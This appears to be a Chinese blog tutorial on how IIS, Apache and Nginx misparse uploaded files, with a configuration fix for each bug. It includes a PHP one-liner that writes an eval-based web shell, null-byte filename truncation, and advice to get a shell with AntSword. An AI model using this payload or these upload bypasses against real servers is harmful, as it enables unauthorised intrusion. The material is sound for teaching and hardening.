中间件解析漏洞分析

文章目录

  • 中间件解析漏洞分析
  • 前言
  • 一、什么是解析漏洞
  • 二、解析漏洞基本原理以及利用实例
    • 1. 解析漏洞基本原理及实例
  • 总结

前言

一、什么是解析漏洞

文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。

比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。

但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。

二、解析漏洞基本原理以及利用实例

1. 解析漏洞基本原理及实例

解析漏洞主要分为(apache,nginx,IIs)中间件解析漏洞,下面主要针对这几个解析漏洞进行讲解,这里就不在演示实际案例进行实验了,主要还是结合文件上传漏洞一起利用得到shell的。
还有IIS在window的安装过程大家可以在网上找一下教程进行安装使用。
(1)IIS5-6解析漏洞

  1. 主要是在后缀名为.asp,.asa的目录下都会解析成asp文件,还有例如:
    xx.asp:.jpg也会解析成.asp文件,只要找到文件的路径,打开,复制网址到蚁剑连接就可以得到shell。
  2. IIS主要解析的是asp文件,网站也主要是asp文件,所以蚁剑是可以连接的上的。
  3. 另外补充一下IIS6.0默认的可执行文件出来asp还包含了这三种:
    /test.asa,test.cer,/test.cdx

(2)apache解析漏洞
漏洞原理:
Apache解析文件的规则是从左到右开始判断解析,如果或追梦为不可识别文件解析,就在从左判断,比如test.php.owf.rar。"owf"和"rar"不可识别解析,apache就会把test.php.owf.rar解析成php

首先要了解apache网站是以php代码执行的,只要我们上传php脚本木马就可以获得shell了。
例如:我们举个例子,若存在漏洞的时候,xx.php.php123文件就会解析成php文件执行。
其配置问题导致漏洞
(1)如果在apache的conf里有这样遗憾配置AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php来执行
(2)如果在apache的conf里有这样一行配置AddType application/x-httpd .jpg 即使扩展名是.jpg,一样以php方式执行。

apache漏洞防御方法:

  1. apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
    <Files ~ “.(php.|php3.)” >
    Order Allow,Deny
    Deny from all

(3)Nginx解析漏洞
漏洞原理:
我这里直接上截图,大家看的会更清楚一些

这里补充一下%00表示空字符,%20表示空格
解释一下%00截断
我们通过服务器的解析漏洞,上传文件时将文件名用一下格式命名:xx
.asp%00.jpg,之后进行抓包,将%00编码成空字符(也是字符串结束符)之后forword数据包,可以进行绕过。

还有一种手法:
上传一个名字为test.jpg,以下内容的文件

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['chopper']); ?>'); ?>

让后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

修复方案:

  1. 修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
  2. 在nginx配置文件中添加一下代码:
    if($fastcgi_script_name ~ …*/.*php){
    return 403;
    }
    这行代码的意思是当匹配到test.jpg/a.php的URL时,将返回403错误代码。

(4)IIS7.5解析漏洞
漏洞原理跟nginx的类似,也是开启了cgi.fix_pathinfo,设置为1,导致的漏洞,也是将test.jpg/.php解析成了.php文件,防御方法只需将cgi.fix_pathinfo设置为0就行了。

总结

本次我们简单介绍了中间件解析漏洞的原理,以及防御方法,我们在测试过程中若遇到这些中间件解析漏洞,可以进行利用,从而获得shell,为后面的提权做铺垫。

渗透测试-中间件解析漏洞分析相关推荐

  1. 渗透测试工具--Nessue漏洞扫描与分析软件

    渗透测试工具–Nessue漏洞扫描与分析软件 一.简介&特色: Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件.总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系 ...

  2. 【安全漏洞】Resin解析漏洞分析

    前言 前阵子看有师傅在公众号上发表了Resin解析漏洞分析,我们也知道有个常用的OA用的就是Resin,因此我认为了解它的漏洞是十分必要的. [学习资料] 原理分析 这个漏洞和IIS解析漏洞比较像,可 ...

  3. Windows网络服务渗透测试实战MS17-010漏洞复现

    一.实验项目名称 Windows网络服务渗透测试实战MS17-010漏洞复现 二.实验目的及要求 熟悉Metasploit终端的使用方法: 掌握对MS17-010漏洞攻击的方法. 三.复现步骤(附加文 ...

  4. (23)【漏洞利用】【原理、利用过程】中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞

    目录 解析漏洞: 原理: 变化因素: 熟知的中间件(解析漏洞) 0x01    IIS5.x-6.x解析漏洞: (1)目录解析漏洞(IIS6.0) 原理: 利用过程: (2)文件解析漏洞 原理: 利用 ...

  5. 网站安全渗透测试维护公司 漏洞信息搜集方法

    快到十二月中旬了,很多渗透测试中的客户想要知道如何搜集这些漏洞信息和利用方式的检测,再次我们Sine安全的工程师给大家普及下如何发现漏洞以及如何去获取这些有用的信息来防护自身的网站项目平台安全,把网站 ...

  6. 渗透测试——joker靶场漏洞复现

    目录 理论 渗透测试流程以及每个阶段需要做的事情 信息收集需要收集的内容,以及收集的方式 NMAP有哪些功能(写出参数) Burpsuite有哪些功能模块(详细说明) 实战 暴力破解得到反弹shell ...

  7. 记一次内部系统渗透测试:小漏洞组合拳

    前言 这篇文章主要说的是我在这次内部测试的任务中,如何一步步获取应用系统最高权限,总的来说,是各种小漏洞的组合拳.因是内部系统,所以打码稍微严重些. 正文 在兴(suo)致(ran)盎(wu)然(we ...

  8. web渗透测试 靶机系统 漏洞测试环境

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

  9. iis+php解析漏洞修复,服务器解析漏洞分析和漏洞修复方法

    摘要:服务器​解析漏洞主要是一些特殊文件被Apache.IIS.Nginx等服务器的Web容器在某种情况下解释成脚本文件格式并得以执行而产生的漏洞.服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在 ...

最新文章

  1. flask socket连接mysql_Flask连接mysql,实现页面登录
  2. 纯真IP库的结构分析及一个查询类
  3. Netstat命令(windows下)
  4. 姚期智:算法将推动下一波AI浪潮,现有革新将达极限
  5. 面试Python时,面试官最喜欢问这些技术问题
  6. 中指北针怎么画_木工图纸怎么快速看懂?助你看懂施工图的9个技巧
  7. hoj 2741 The Busiest Man // 强连通分支+缩点+传递闭包
  8. java 线程 寄存器 地址_Java高级进阶多线程学习之路(四)CPU与内存
  9. java使用过滤器/拦截器过滤response信息
  10. ​ 解决金仓数据库KingbaseES对pg模式的单机数据库插入数据时,出现日志打印的问题
  11. Mysql 纵表转换为横表
  12. Thoughtworks笔试作业
  13. 锐捷530-E无线AP配置
  14. 网络编程--探讨一些边界条件
  15. 倒数日怎么显示在桌面_偏头痛是怎么来的?医生:和这4个因素关系密切,要注意...
  16. 青少年计算机编程少儿编程小学生编程是否适合
  17. 用python快速分析你的微信好友
  18. 5944的空间骗人,黑心
  19. 【回忆 总结】我的大学四年
  20. 【Codeforces 723D】Lakes in Berland (dfs)

热门文章

  1. DB2 SQLSTATE:428C9,不能将ROWID列指定为INSERT或UPDATE的目标列。
  2. 考研复试英语口语最全攻略!
  3. 代理ip最新识别方法及代理ip有效性检测方法
  4. ViewPager的setOnPageChangeListener方法详解
  5. python语言提供的三个基本数字类型_python 基础知识第3讲:基本数据类型
  6. [打破常识]“木桶原理”之大谬误!
  7. 使用request.get获取网页源码
  8. 深入探讨三角函数的命名规范
  9. [二维DP] 洛谷P1736 创意吃鱼法(预处理)
  10. 偏振光学的基础(一)